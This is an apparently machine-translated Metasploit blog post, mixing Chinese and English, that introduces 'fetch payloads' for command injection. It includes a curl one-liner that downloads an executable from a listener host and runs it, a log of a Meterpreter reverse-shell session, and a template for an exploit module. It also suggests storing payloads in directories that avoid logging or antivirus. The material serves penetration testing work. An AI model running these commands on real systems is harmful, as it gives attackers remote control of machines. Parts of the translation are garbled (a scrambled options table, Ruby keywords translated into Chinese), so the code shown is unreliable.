最后更新于2023年6月5日星期一14:50:05 GMT

Over the last year, Metasploit框架中添加的三分之二的漏洞利用模块都针对命令注入漏洞(CWE-94:代码生成控制不当). 在帮助新的和现有的开源贡献者学习如何使用Metasploit的命令阶段工具集的过程中, 我们已经认识到,虽然它们很强大, 命令阶段有很高的学习曲线.

So, 我们添加了一种新的有效负载类型,以帮助贡献者尽可能快地从漏洞转移到模块,并帮助用户更好地控制所执行的命令. 我们很高兴地宣布获取有效载荷的可用性, 哪些简化并取代了一些命令阶段用例, providing for faster, 更直观的命令注入模块开发,并提供了一个有用的新的实时黑客工具.

Fetch有效负载是基于命令的有效负载,它利用启用网络的命令(cURL, certutil, ftp, tftp, wget ),以便快速轻松地传输和执行二进制有效载荷. Previously, 获取有效负载的一些功能可以在利用模块中通过使用命令分段器来完成, 但是fetch有效载荷为基于网络的命令提供了更大的灵活性,并允许独立于Metasploit模块的有效载荷的命令staging.

命令分段器仍然是通过不使用网络的命令分段有效负载的正确选择, like echo or printf, but otherwise, 我们鼓励您在编写下一个命令注入模块时检查fetch有效负载,或者在下次需要上传和执行有效负载时(目标上已经有了shell)检查fetch有效负载. 在过去,您可能已经使用Python的内置HTTP服务器msfvenom和 Metasploit Framework. Now we do it all for you.

Fetch有效负载有两个核心用例:从shell获取Metasploit会话和嵌入命令注入漏洞利用模块. 我们将在下面更详细地探讨这两者.

使用从Shell手动获取有效负载

In this use case, 我们将升级主机上的shell(任何shell), 不仅仅是Metasploit框架外壳)到Metasploit会话.

The shell session:

tmoose@ubuntu:~/rapid7/metasploit-framework$ nc -lv.5.135.201 4585
Listening on ubuntu 4585
Connection received on 10.5.134.167 64613
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\msfuser\Downloads>

现在,跳转到该主机可访问的Metasploit Framework实例,并设置一个获取有效负载. You’ll need to decide five things:

The protocol you want to use (HTTP, HTTPS, and TFTP are currently supported)
您想要交付的二进制Metasploit有效负载
要在远程主机上用于下载负载的命令
The IP:PORT 来提供二进制有效负载
The IP:PORT you want the binary payload to use

上面的前两项决定了我们想要使用的获取有效负载:我们正在使用 cmd / windows / http / x64 / meterpreter / reverse_tcp which will host a windows / x64 meterpreter / reverse_tcp binary payload on an HTTP server. 仅仅选择有效载荷我们就完成了一半!

你可以像这样可视化获取有效负载的名称:

Command payload Platform Networking Protocol Underlying payload
cmd/ windows/ http/ x64/meterpreter/reverse_tcp

其他三个值设置为有效负载中的选项. 我们将使用默认端口,并将默认命令保留为 cURL command, so we just need to set LHOST for the payload to call back and FETCH_SRVHOST 告诉命令在哪里回调,告诉框架在哪里承载负载:

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > show options

模块选项(payload/cmd / windows / http / x64 / meterpreter / reverse_tcp):

   名称当前设置描述
   ----                ---------------  --------  -----------
   EXITFUNC进程是退出技术(接受:", seh, thread, process, none)
   FETCH_COMMAND CURL yes获取有效载荷的命令(接受:CURL), TFTP, CERTUTIL)
   FETCH_DELETE false yes执行后尝试删除二进制文件
   FETCH_FILENAME      NdqujpmEtq       no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       0.0.0.0 yes用于服务负载的本地IP
   FETCH_SRVPORT 8080 yes用于服务负载的本地端口
   FETCH_URIPATH没有用于服务负载的本地URI
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST是监听地址(可以指定一个接口)
   LPORT 4444是监听端口

使用info或命令查看完整的模块信息 info -d command.

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201

就是这样,没有更多的设置,除非您想进一步定制. 你可以看到还有其他选项: FETCH_DELETE 会在执行后尝试删除文件,选项是什么 FETCH_WRITABLE_DIR and FETCH_FILENAME 将告诉获取负载在远程主机上存储文件的位置(以防在其他地方有一个安全的目录,可以避免日志记录或防病毒). Users can also change the FETCH_URI 值,其中提供底层有效负载, 但是该值是基于底层有效负载自动生成的:如果用户在 msfvenom 在框架中设置一个监听器,这是默认的 FETCH_URI 如果底层有效负载相同,则值将匹配. 现在,就像任何有效载荷一样,我们可以调用 generate 或者使用msfvenom创建我们需要在远程主机上执行的命令:

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > generate -f raw

[*]在远程主机上运行的命令:curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe
curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe

此外,当您启动处理程序时,该命令将出现:

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > to_handler

[*]在远程主机上运行命令:curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe
[*]负载处理程序以Job 0启动
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*]添加资源/dOVx5JNISsHZ3V06TolS4w
[*]启动反向TCP处理程序.5.135.201:4444 

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) >

For fetch payloads, to_handler does several things:

  • Creates the underlying payload in an executable format based on the platform selected; since we’re using Windows, 有效负载以exe文件的形式创建.
  • 根据选定的特定获取有效负载的协议启动服务器
  • 将可执行负载添加到服务器
  • 创建一行代码,用于下载并在目标上执行负载

所有用户需要做的就是复制/粘贴命令,然后回车:

C:\Users\msfuser\Downloads>curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe

That will use cURL 下载并执行负载:

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > 
[*] Client 10.5.134.167请求/dOVx5JNISsHZ3V06TolS4w
[*] Sending payload to 10.5.134.167 (curl/7.55.1)
[*]发送阶段(200774字节)到10.5.134.167
[*] Meterpreter会话1打开(10.5.135.201:4444 -> 10.5.134.167:64681) at 2023-05-18 12:39:12 -0500
sessions

Active sessions
===============

  Id名称类型信息连接
  --  ----  ----                     -----------                                ----------
  1米preter x64/windows DESKTOP-D1E425Q\msfuser @ DESKTOP-D1E425Q.5.135.201:4444 -> 10.5.134.167:64681 (10.5.134.1
                                                                                67)

msf6 payload(cmd / windows / http / x64 / meterpreter / reverse_tcp) > 

在Metasploit模块中使用Fetch payload

模块作者可能已经在命令注入模块中看到了这个工具. 框架的命令节点非常强大, 但它们也为用户设置了一个不小的门槛. Using fetch payloads in a Metasploit module is straightforward; authors will need to set the platform as linux or win and add the arch as ARCH_CMD. 然后,当需要获取必须在远程目标上运行的命令时,只需调用即可 payload.encoded. 下面是一个使用fetch有效负载的模块的基本模板,它针对一个带有命令注入漏洞的Linux web服务器:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  预谋Msf:利用:远程::AutoCheck
  包括无国界医生组织::利用::远程::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Module Name',
        'Description' => %q{ 1337 },
        'License' => MSF_LICENSE,
        'Author' => [ 'you' ],
        'References' => [],
        'Platform' => 'linux',
        'Arch' => 'ARCH_CMD',
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'RPORT' => 80,
          'FETCH_COMMAND' => 'WGET'
        },
        'Targets' => [ [ 'Default', {} ] ],
        'DisclosureDate' => '2022-01-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        Msf::OptString.new('TARGET_URI', [false, 'URI', '/hackme'])
      ]
    )
  end

  def execute_command(cmd)
    #在目标上执行cmd所需的一切
  end

  def check
    # Put your check method here
  end

  def exploit
    execute_command(payload.encoded)
  end
end

That’s it. With fetch payloads, Metasploit框架将设置服务器, make the executable payload, start the payload handler, serve the payload, handle the callback, and provide the command that needs to be executed; all you’ve got to do is tell it how to execute a command and then write a check method.

Get it

与往常一样,您可以使用 msfupdate
自上一篇博文以来,你可以从
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.

要安装fresh而不使用git,您可以使用open-source-only Nightly Installers or the binary installers (也包括商业版).